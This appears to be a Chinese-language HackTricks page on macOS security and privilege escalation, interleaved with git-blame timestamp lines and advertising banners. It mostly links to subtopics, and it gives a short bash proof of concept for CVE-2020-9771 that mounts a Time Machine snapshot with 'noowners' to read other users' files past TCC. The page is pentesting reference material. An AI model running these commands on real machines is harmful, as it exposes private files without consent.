2023-08-03 19:12:22 +00:00
|
|
|
|
# macOS安全与权限提升
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
|
|
|
|
<details>
|
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
* 你在一家**网络安全公司**工作吗?你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
|
|
|
|
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
|
|
|
|
* 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
|
|
|
|
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
|
|
|
|
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
2022-10-27 23:22:18 +00:00
|
|
|
|
</details>
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
2023-07-31 15:59:11 +00:00
|
|
|
|
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
**HackenProof是所有加密漏洞赏金的家园。**
|
2023-02-27 09:28:45 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
**即时获得奖励**\
|
|
|
|
|
HackenProof的赏金只有在客户存入奖励预算后才会启动。在漏洞经过验证后,您将获得奖励。
|
2023-02-27 09:28:45 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
**在web3渗透测试中积累经验**\
|
|
|
|
|
区块链协议和智能合约是新的互联网!在其崛起之时掌握web3安全。
|
2023-02-27 09:28:45 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
**成为web3黑客传奇**\
|
|
|
|
|
每次验证的漏洞都会获得声誉积分,并登上每周排行榜的榜首。
|
2023-07-14 14:20:34 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
[**在HackenProof上注册**](https://hackenproof.com/register) 从您的黑客行动中获利!
|
2023-07-14 14:20:34 +00:00
|
|
|
|
|
|
|
|
|
{% embed url="https://hackenproof.com/register" %}
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
## 基本的MacOS
|
2021-08-14 18:01:10 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
如果您对macOS不熟悉,您应该开始学习macOS的基础知识:
|
2023-05-29 20:18:06 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
* 特殊的macOS**文件和权限:**
|
2023-05-29 20:18:06 +00:00
|
|
|
|
|
2023-06-01 11:07:04 +00:00
|
|
|
|
{% content-ref url="macos-files-folders-and-binaries/" %}
|
|
|
|
|
[macos-files-folders-and-binaries](macos-files-folders-and-binaries/)
|
2023-05-04 23:22:39 +00:00
|
|
|
|
{% endcontent-ref %}
|
2023-05-04 19:22:41 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
* 常见的macOS**用户**
|
2021-08-14 18:01:10 +00:00
|
|
|
|
|
2023-06-01 11:07:04 +00:00
|
|
|
|
{% content-ref url="macos-users.md" %}
|
|
|
|
|
[macos-users.md](macos-users.md)
|
|
|
|
|
{% endcontent-ref %}
|
2021-08-14 18:01:10 +00:00
|
|
|
|
|
2023-06-01 11:07:04 +00:00
|
|
|
|
* **AppleFS**
|
2021-08-18 16:50:47 +00:00
|
|
|
|
|
2023-06-01 11:07:04 +00:00
|
|
|
|
{% content-ref url="macos-applefs.md" %}
|
|
|
|
|
[macos-applefs.md](macos-applefs.md)
|
|
|
|
|
{% endcontent-ref %}
|
2021-08-18 16:50:47 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
* **内核**的**架构**
|
2021-08-14 18:01:10 +00:00
|
|
|
|
|
2023-05-04 23:22:39 +00:00
|
|
|
|
{% content-ref url="mac-os-architecture/" %}
|
|
|
|
|
[mac-os-architecture](mac-os-architecture/)
|
2021-10-18 11:21:18 +00:00
|
|
|
|
{% endcontent-ref %}
|
2021-08-14 18:01:10 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
* 常见的macOS**网络服务和协议**
|
2021-08-14 18:01:10 +00:00
|
|
|
|
|
2023-06-01 11:07:04 +00:00
|
|
|
|
{% content-ref url="macos-protocols.md" %}
|
|
|
|
|
[macos-protocols.md](macos-protocols.md)
|
2021-10-18 11:21:18 +00:00
|
|
|
|
{% endcontent-ref %}
|
2021-08-14 18:01:10 +00:00
|
|
|
|
|
2022-05-01 13:25:53 +00:00
|
|
|
|
### MacOS MDM
|
2021-08-14 18:01:10 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
在公司中,**macOS**系统很可能会通过MDM进行**管理**。因此,从攻击者的角度来看,了解**它是如何工作的**是很有意义的:
|
2023-06-01 11:07:04 +00:00
|
|
|
|
|
2023-06-13 00:15:20 +00:00
|
|
|
|
{% content-ref url="../macos-red-teaming/macos-mdm/" %}
|
|
|
|
|
[macos-mdm](../macos-red-teaming/macos-mdm/)
|
2021-10-18 11:21:18 +00:00
|
|
|
|
{% endcontent-ref %}
|
2021-08-14 18:01:10 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
### MacOS - 检查、调试和模糊测试
|
2021-08-15 22:40:36 +00:00
|
|
|
|
|
2023-05-12 16:36:21 +00:00
|
|
|
|
{% content-ref url="macos-apps-inspecting-debugging-and-fuzzing/" %}
|
|
|
|
|
[macos-apps-inspecting-debugging-and-fuzzing](macos-apps-inspecting-debugging-and-fuzzing/)
|
2021-10-18 11:21:18 +00:00
|
|
|
|
{% endcontent-ref %}
|
2021-08-14 18:01:10 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
## MacOS安全保护
|
2021-07-17 00:28:18 +00:00
|
|
|
|
|
2023-06-01 21:44:32 +00:00
|
|
|
|
{% content-ref url="macos-security-protections/" %}
|
|
|
|
|
[macos-security-protections](macos-security-protections/)
|
2023-06-01 20:34:49 +00:00
|
|
|
|
{% endcontent-ref %}
|
2021-07-27 10:55:02 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
## 攻击面
|
2021-07-26 11:22:19 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
### 文件权限
|
2021-07-22 14:43:04 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
如果以**root身份运行的进程**写入一个可以被用户控制的文件,用户可以利用这一点来**提升权限**。\
|
|
|
|
|
这种情况可能发生在以下情况下:
|
2021-07-22 14:43:04 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
* 使用的文件已经由用户创建(由用户拥有)
|
|
|
|
|
* 使用的文件由于一个组的原因可被用户写入
|
|
|
|
|
* 使用的文件位于用户拥有的目录中(用户可以创建文件)
|
|
|
|
|
* 使用的文件位于由root拥有但用户具有写入权限的目录中(用户可以创建文件)
|
2021-08-10 14:04:23 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
能够**创建一个将被root使用的文件**,允许用户**利用其内容**,甚至创建**符号链接/硬链接**将其指向另一个位置。
|
2021-08-10 14:04:23 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
对于这种类型的漏洞,不要忘记**检查易受攻击的`.pkg`安装程序**:
|
2023-06-08 00:25:42 +00:00
|
|
|
|
|
2023-06-08 10:01:03 +00:00
|
|
|
|
{% content-ref url="macos-files-folders-and-binaries/macos-installers-abuse.md" %}
|
|
|
|
|
[macos-installers-abuse.md](macos-files-folders-and-binaries/macos-installers-abuse.md)
|
2023-06-08 00:25:42 +00:00
|
|
|
|
{% endcontent-ref %}
|
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
### 权限滥用和特权滥用通过进程滥用
|
2021-08-10 14:04:23 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
如果一个进程可以**向具有更高特权或权限的另一个进程注入代码**或与其联系以执行特权操作,它可以提升权限并绕过防御措施,如[Sandbox](macos-security-protections/macos-sandbox/)或[TCC](macos-security-protections/macos-tcc/)。
|
2021-08-10 14:04:23 +00:00
|
|
|
|
|
2023-06-01 21:44:32 +00:00
|
|
|
|
{% content-ref url="macos-proces-abuse/" %}
|
|
|
|
|
[macos-proces-abuse](macos-proces-abuse/)
|
2023-05-28 15:30:30 +00:00
|
|
|
|
{% endcontent-ref %}
|
2023-08-03 19:12:22 +00:00
|
|
|
|
### 文件扩展名和URL方案应用程序处理程序
|
2023-05-26 00:05:25 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
通过文件扩展名注册的奇怪应用程序可能会被滥用,并且可以注册不同的应用程序来打开特定的协议。
|
2021-08-10 14:04:23 +00:00
|
|
|
|
|
2023-06-01 21:44:32 +00:00
|
|
|
|
{% content-ref url="macos-file-extension-apps.md" %}
|
|
|
|
|
[macos-file-extension-apps.md](macos-file-extension-apps.md)
|
2023-05-26 15:11:27 +00:00
|
|
|
|
{% endcontent-ref %}
|
2021-08-10 14:04:23 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
## MacOS权限提升
|
2021-07-19 23:13:08 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
### CVE-2020-9771 - mount\_apfs TCC绕过和权限提升
|
2021-07-19 23:13:08 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
**任何用户**(即使是非特权用户)都可以创建和挂载时间机器快照,并**访问该快照的所有文件**。\
|
|
|
|
|
唯一需要的特权是所使用的应用程序(如`Terminal`)具有**完全磁盘访问权限**(FDA)(`kTCCServiceSystemPolicyAllfiles`),需要由管理员授予。
|
2021-07-19 23:13:08 +00:00
|
|
|
|
```bash
|
2023-06-01 20:34:49 +00:00
|
|
|
|
# Create snapshot
|
|
|
|
|
tmutil localsnapshot
|
2021-07-19 23:13:08 +00:00
|
|
|
|
|
2023-06-01 20:34:49 +00:00
|
|
|
|
# List snapshots
|
|
|
|
|
tmutil listlocalsnapshots /
|
|
|
|
|
Snapshots for disk /:
|
|
|
|
|
com.apple.TimeMachine.2023-05-29-001751.local
|
2021-07-19 23:13:08 +00:00
|
|
|
|
|
2023-06-01 20:34:49 +00:00
|
|
|
|
# Generate folder to mount it
|
|
|
|
|
cd /tmp # I didn it from this folder
|
|
|
|
|
mkdir /tmp/snap
|
2021-07-19 23:13:08 +00:00
|
|
|
|
|
2023-06-01 20:34:49 +00:00
|
|
|
|
# Mount it, "noowners" will mount the folder so the current user can access everything
|
|
|
|
|
/sbin/mount_apfs -o noowners -s com.apple.TimeMachine.2023-05-29-001751.local /System/Volumes/Data /tmp/snap
|
2021-07-19 23:13:08 +00:00
|
|
|
|
|
2023-06-01 20:34:49 +00:00
|
|
|
|
# Access it
|
|
|
|
|
ls /tmp/snap/Users/admin_user # This will work
|
2021-07-19 23:13:08 +00:00
|
|
|
|
```
|
|
|
|
|
{% endcode %}
|
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
更详细的解释可以在[**原始报告中找到**](https://theevilbit.github.io/posts/cve\_2020\_9771/)**。**
|
2021-07-19 23:13:08 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
### 敏感信息
|
2021-07-19 23:13:08 +00:00
|
|
|
|
|
2023-06-01 21:44:32 +00:00
|
|
|
|
{% content-ref url="macos-files-folders-and-binaries/macos-sensitive-locations.md" %}
|
|
|
|
|
[macos-sensitive-locations.md](macos-files-folders-and-binaries/macos-sensitive-locations.md)
|
2023-05-15 08:11:15 +00:00
|
|
|
|
{% endcontent-ref %}
|
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
### Linux提权
|
2021-08-10 14:04:23 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
首先,请注意**大多数关于特权提升的技巧都会影响MacOS机器**。所以请参考:
|
2021-08-15 22:40:36 +00:00
|
|
|
|
|
2023-06-01 20:34:49 +00:00
|
|
|
|
{% content-ref url="../../linux-hardening/privilege-escalation/" %}
|
|
|
|
|
[privilege-escalation](../../linux-hardening/privilege-escalation/)
|
2021-10-18 11:21:18 +00:00
|
|
|
|
{% endcontent-ref %}
|
2021-08-15 22:40:36 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
## MacOS防御应用程序
|
2023-06-17 14:26:50 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
## 参考资料
|
2021-07-29 00:18:11 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
* [**OS X事件响应:脚本和分析**](https://www.amazon.com/OS-Incident-Response-Scripting-Analysis-ebook/dp/B01FHOHHVS)
|
2022-04-05 22:24:52 +00:00
|
|
|
|
* [**https://taomm.org/vol1/analysis.html**](https://taomm.org/vol1/analysis.html)
|
|
|
|
|
* [**https://github.com/NicolasGrimonpont/Cheatsheet**](https://github.com/NicolasGrimonpont/Cheatsheet)
|
|
|
|
|
* [**https://assets.sentinelone.com/c/sentinal-one-mac-os-?x=FvGtLJ**](https://assets.sentinelone.com/c/sentinal-one-mac-os-?x=FvGtLJ)
|
2023-05-26 00:05:25 +00:00
|
|
|
|
* [**https://www.youtube.com/watch?v=vMGiplQtjTY**](https://www.youtube.com/watch?v=vMGiplQtjTY)
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
2023-07-31 15:59:11 +00:00
|
|
|
|
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
|
2023-07-14 14:20:34 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
**HackenProof是所有加密漏洞赏金的家园。**
|
2023-07-14 14:20:34 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
**即时获得奖励**\
|
|
|
|
|
HackenProof的赏金只有在客户存入奖励预算后才会启动。在漏洞经过验证后,您将获得奖励。
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
**在web3渗透测试中积累经验**\
|
|
|
|
|
区块链协议和智能合约是新的互联网!在其兴起的日子里掌握web3安全。
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
**成为web3黑客传奇**\
|
|
|
|
|
每次验证的漏洞都会获得声誉积分,并占领每周排行榜的榜首。
|
2023-02-27 09:28:45 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
[**在HackenProof上注册**](https://hackenproof.com/register)开始从您的黑客行动中获利!
|
2023-02-27 09:28:45 +00:00
|
|
|
|
|
2023-07-14 14:20:34 +00:00
|
|
|
|
{% embed url="https://hackenproof.com/register" %}
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
2022-10-27 23:22:18 +00:00
|
|
|
|
<details>
|
|
|
|
|
|
2023-04-25 18:35:28 +00:00
|
|
|
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
* 您在**网络安全公司**工作吗?您想在HackTricks中看到您的**公司广告**吗?或者您想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
|
|
|
|
* 发现我们的独家[NFT收藏品**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
|
|
|
|
* 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
|
|
|
|
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或在**Twitter**上**关注**我[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
|
|
|
|
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享您的黑客技巧。**
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
|
|
|
|
</details>
|